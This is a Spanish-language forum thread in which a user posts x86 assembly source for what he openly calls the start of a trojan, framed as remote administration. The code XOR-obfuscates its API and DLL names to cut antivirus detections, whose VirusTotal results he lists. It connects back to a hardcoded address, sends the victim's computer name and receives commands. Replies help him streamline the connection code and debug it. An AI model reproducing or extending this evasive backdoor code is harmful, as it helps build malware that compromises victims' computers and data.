Principio de Troyano ASM

Iniciado por Vaagish, 15 Mayo 2013, 02:44 AM

0 Miembros y 1 Visitante están viendo este tema.

Vaagish

Buenas amigos del foro!! Hoy ando regalon...
Como el foro casi siempre me supo responder mis preguntas, hoy voy a colaborar yo... voy a aclarar que soy nuevo en asm, y quizas el codigo no es el mejor, pero lo voy a compartir, asi que no sean crueles jajaja
Bueno, en un principio no queria exponerlo, pero como me decidi a hacer diferente mi aplicacion de "administracion remota" lo voy a poner aca...

Lo probe con virustotal y asi como esta tiene 4 detecciones:

VBA32            Malware-Cryptor.Win32.Allblock
Norman            Crypt.AWHI
F-Prot            W32/Threat-HLLSI-based!Maximus
Commtouch    W32/Threat-HLLSI-based!Maximus

Aclaro que, a lo mejor ven alguna rutina que han visto en Internet, eso se debe a que he investigado muchísimo, (no se olviden que soy nuevo, y bueno.. así se aprende... ) y no he encontrado otra forma mejor de implementarlas, por eso son iguales,, las iba a cambiar, pero como voy a empezar otro troyano, este lo dejo como esta..

Sin mas que decir:


.386
.model flat, stdcall
option casemap:none

include Servidor.inc

bufSize = MAX_COMPUTERNAME_LENGTH + 1 ;Tamaño maximo del nombre del pc

.data

Ip db "127.0.0.1",0 ;Direccion remota
  Port dd 8888 ;Puerto remoto
Ver dd 2.2 ;Version de WinSck
  wsa WSADATA <> ;Estructura WSAData
  sa sockaddr_in <>        ;Estructura de sockaddr_in

Titulo db "Titulo de pruebas", 0
Saludo     db "CONNECT|%s0", 0 ;Saludo de conexion

;************************************************************

; Librerias
Ws2 db "Pt5X45)ckk", 0               ;Ws2
U32 db "Rtbu45)ckk", 0               ;User32
Kn32 db "Lbuibk45)ckk", 0       ;Kernel
; Socket
FunW db "PTFTsfusrw", 0 ;WSAStart
FunZ db "PTFDkbfirw", 0 ;WSAClean
FunS db "thdlbs", 0 ;socket
FunI db "nibsXfccu", 0 ;inet_addr
FunH db "oshit", 0 ;htons
FunC db "dhiibds", 0 ;connect
FunV db "ubdq", 0 ;recv
FunO db "dkhtbthdlbs", 0 ;closesocket
FunN db "tbic", 0        ;send
; Funciones del programa
FunM db "Jbttf`bEhF", 0 ;MessageBoxA
FunE db "BnsWuhdbtt", 0 ;ExitProcess
; Datos del Pc
FunG db "@bsDhjwrsbuIfjbF", 0        ;GetComputerNameA
FunP db "ptwunisaF", 0 ;wsprintfA
; Carga dinamica de Apis
FunL db "KhfcKneufu~F", 0        ;LoadLibraryA
FunT db "@bsWuhdFccubtt", 0 ;GetProcAddress

;************************************************************

;******** CP NAME ***********
buffer     db 100 dup(?) ;Buffer para guardar el nombre del pc
bSize dd bufSize ;Tamaño para el nombre del pc
getName db bufSize dup(?) ;Necesario para GetComputerNameA
;****************************

.data?

Sock dd ? ;Socket
Buffer db 512 dup(?) ;Buffer para recv
Hand dd ? ;Handle de funcion dinamica
LoadL dd ? ;Handle de LoadLibraryA
GetP dd ? ;Handle de GetProcAddress

.const

WM_SOCK equ WM_USER + 100
SOCK_STRAM  equ 1

.code

Inicio:
jmp Mentira
Inicio2:

invoke Llamar, addr Ws2, addr FunW ;WSAStart
push offset [wsa]
push offset [Ver]
call Hand

.IF eax!=NULL
invoke Llamar, addr Kn32, addr FunE
push 0
call Hand
.ENDIF

invoke Llamar, addr Ws2, addr FunS ;socket
push 0
push SOCK_STRAM
push AF_INET
call Hand

.IF eax==INVALID_SOCKET
invoke Llamar, addr Kn32, addr FunE
push 0
call Hand
.ENDIF

mov Sock, eax
mov sa.sin_family, AF_INET

invoke Llamar, addr Ws2, addr FunI ;inet_addr
push offset [Ip]
call Hand
mov sa.sin_addr, eax

invoke Llamar, addr Ws2, addr FunH ;htons
push Port
call Hand

mov sa.sin_port, ax

Conn:

invoke Llamar, addr Ws2, addr FunC ;connect
push sizeof sa
push offset [sa]
push Sock
call Hand
cmp eax, 0
jne Conn

;**********************************************
;              GetComputerName
;**********************************************
invoke Llamar, addr Kn32, addr FunG ;GetComputerNameA
push offset [bSize]
push offset [getName]
call Hand

invoke Llamar, addr U32, addr FunP ;wsprintfA
push offset [getName]
push offset [Saludo]
push offset [buffer]
call Hand

invoke Llamar, addr Ws2, addr FunN ;send
push 0
push sizeof buffer
push offset [buffer]
push Sock
call Hand
;**********************************************

Recv:

invoke Llamar, addr Ws2, addr FunV ;recv
push 0
push sizeof Buffer
push offset [Buffer]
push Sock
call Hand
cmp eax, -1
je Recon

invoke Llamar, addr U32, addr FunM ;MessageBoxA
push MB_OK
push offset [Titulo]
push offset [Buffer]
push 0
call Hand
jmp Recv

Recon:

invoke Llamar, addr Ws2, addr FunO ;closesocket
push Sock
call Hand

invoke Llamar, addr Ws2, addr FunZ ;WSAClean
call Hand
jmp Inicio2

Clse:

invoke Llamar, addr Ws2, addr FunO ;closesocket
push Sock
call Hand

invoke Llamar, addr Ws2, addr FunZ ;WSAClean
call Hand

invoke Llamar, addr Kn32, addr FunE ;ExitProcess
push 0
call Hand

Dinamic proc Libreria:DWORD, Funcion:DWORD

push Libreria
call LoadLibrary
push Funcion
push eax
call GetProcAddress

ret

Dinamic endp

Llamar proc Lib:DWORD, Fun:DWORD

push [Lib]
call LoadL
push [Fun]
push eax
call GetP
mov Hand, eax

ret
Llamar endp

Decript proc Funcion:DWORD

   xor ecx,ecx
   mov eax, [Funcion]
   bucle:
   cmp byte ptr ds: [eax + ecx], 0
   je salir
   xor byte ptr ds:[eax + ecx], 7
   inc ecx
   jmp bucle
   salir:
   ret

Decript endp
Mentira:

invoke Decript, addr U32 ;User32 -
invoke Decript, addr Kn32 ;Kernel32 - APIS
invoke Decript, addr Ws2 ;WinSock -

invoke Decript, addr FunL ;LoadLibraryA - DINAMICAS
invoke Decript, addr FunT ;GetProcaddress -

invoke Decript, addr FunW ;WsaStartup -
invoke Decript, addr FunZ ;WsaClean -
invoke Decript, addr FunS ;socket -
invoke Decript, addr FunI ;inet_addr -
invoke Decript, addr FunH ;htoons - SOCKET
invoke Decript, addr FunC ;connect -
invoke Decript, addr FunN ;send -
invoke Decript, addr FunV ;recv -
invoke Decript, addr FunO ;closesocket -

invoke Decript, addr FunM ;MessageboxA -
invoke Decript, addr FunE ;ExitProcess - GENERALES
invoke Decript, addr FunP ;wsprintfA -
invoke Decript, addr FunG

;*********************************************
; Obtengo Direccion de Getproc y LoadLib
;*********************************************
push offset [FunL]
push offset [Kn32]
call Dinamic
mov LoadL, eax
push offset [FunT]
push offset [Kn32]
call Dinamic
mov GetP, eax
;*********************************************
jmp Inicio2

end Inicio


Bueno, ahi esta...
Si alguien quiere colaborar con ideas, opiniones y demais, yo muy agradecido..

Saludos!

cpu2

Hola

Estas en ASM te podrias ahorrar las funciones inet_addr y htons investiga un poco.

Un saludo y felicidades.

0xDani

Cita de: cpu2 en 16 Mayo 2013, 14:58 PM
Hola

Estas en ASM te podrias ahorrar las funciones inet_addr y htons investiga un poco.

Un saludo y felicidades.

En cuanto a htons sólo se me ocurre que se podría hacer un bswap. Cómo se podría ahorrar el uso de estas dos funciones?
I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM

cpu2

Pues cargando los bytes directamente en la pila.

Código (asm) [Seleccionar]
push 0x0100007f
push 0xb8220200


Así no tienes que utilizar esas funciones.

Un saludo.

P.D: Cualquier duda pregunta.

Vaagish

Hola colegas! No se me habia ocurrido ese tipo de ventaja,, es muy buena...
Gracias por comentar!

Saludos!

0xDani

Cita de: cpu2 en 16 Mayo 2013, 16:16 PM
Pues cargando los bytes directamente en la pila.

Código (asm) [Seleccionar]
push 0x0100007f
push 0xb8220200


Así no tienes que utilizar esas funciones.

Un saludo.

P.D: Cualquier duda pregunta.

Y qué valores cargas en la pila? En el caso de htons, el número del puerto con el endianess ajustado al de la red, pero y en el de inet_addr?
I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM

cpu2

El de inet_addr es el primer push.

Creo que también podria utilizar INADDR_LOOPBACK que esta definida en la cabezera in.h, pero creo que eso es más para sistema Posix.

Un saludo.

Vaagish

Bueno, me estoy perdiendo un poco, tendré que averiguar que es el Posix...
Yo calcule abrir el olly, ver que ponía la función inet_addr y copy-pase... despues de todo, la direccion ip va a ser siempre la mia, como una constante.. asi que deberia ser siempre lo mismo... no ?

msdn:
The inet_addr function converts a string containing an IPv4 dotted-decimal address into a proper address for the IN_ADDR structure.

Luego de averiguar con el olly el resultado de la funcion, le pongo el valor directo dentro de sa.sin_addr y gol! :D

0xDani

Cita de: cpu2 en 16 Mayo 2013, 20:52 PM
El de inet_addr es el primer push.

Creo que también podria utilizar INADDR_LOOPBACK que esta definida en la cabezera in.h, pero creo que eso es más para sistema Posix.

Un saludo.

Ok, ya lo comprendo, gracias!
I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM

Vaagish

#9
Buenas señores! Primero que nada, perdon por volver a escribir en este post, pero no daba para empezar otro hilo.. ( me parece )

Estoy teniendo problemas para hacer el push de htoons y inet..


INET equ 0100007fh
HTOONS equ 0b8220200h


Y luego


ThreadProc PROC

invoke WSAStartup, addr Ver, addr wsa
invoke socket, AF_INET, SOCK_STREAM, 0
mov sock, eax
invoke WSAAsyncSelect, sock, hwnd, WM_SOCK, FD_CONNECT or FD_CLOSE or FD_READ
mov sa.sin_family, AF_INET

;invoke inet_addr, addr szIp
;mov sa.sin_addr, eax
;Pusheo el valor de Inet

mov sa.sin_addr, INET
push INET

;invoke htons, port
;mov sa.sin_port, ax
;Pusheo el valor de Htoons

mov ax, HTOONS
push HTOONS

invoke connect, sock, addr sa, sizeof sa

ret
ThreadProc ENDP


El problema es que cuando lo ejecuto funciona, pero me empieza a abrir este proceso: vsjitdebugger.exe infinitas veces, hasta que supongo yo, colapse la memoria  :-\

Que puede estar pasando ? tendira que sacar de la pila despues que pusheo ?

Gracias por leer !!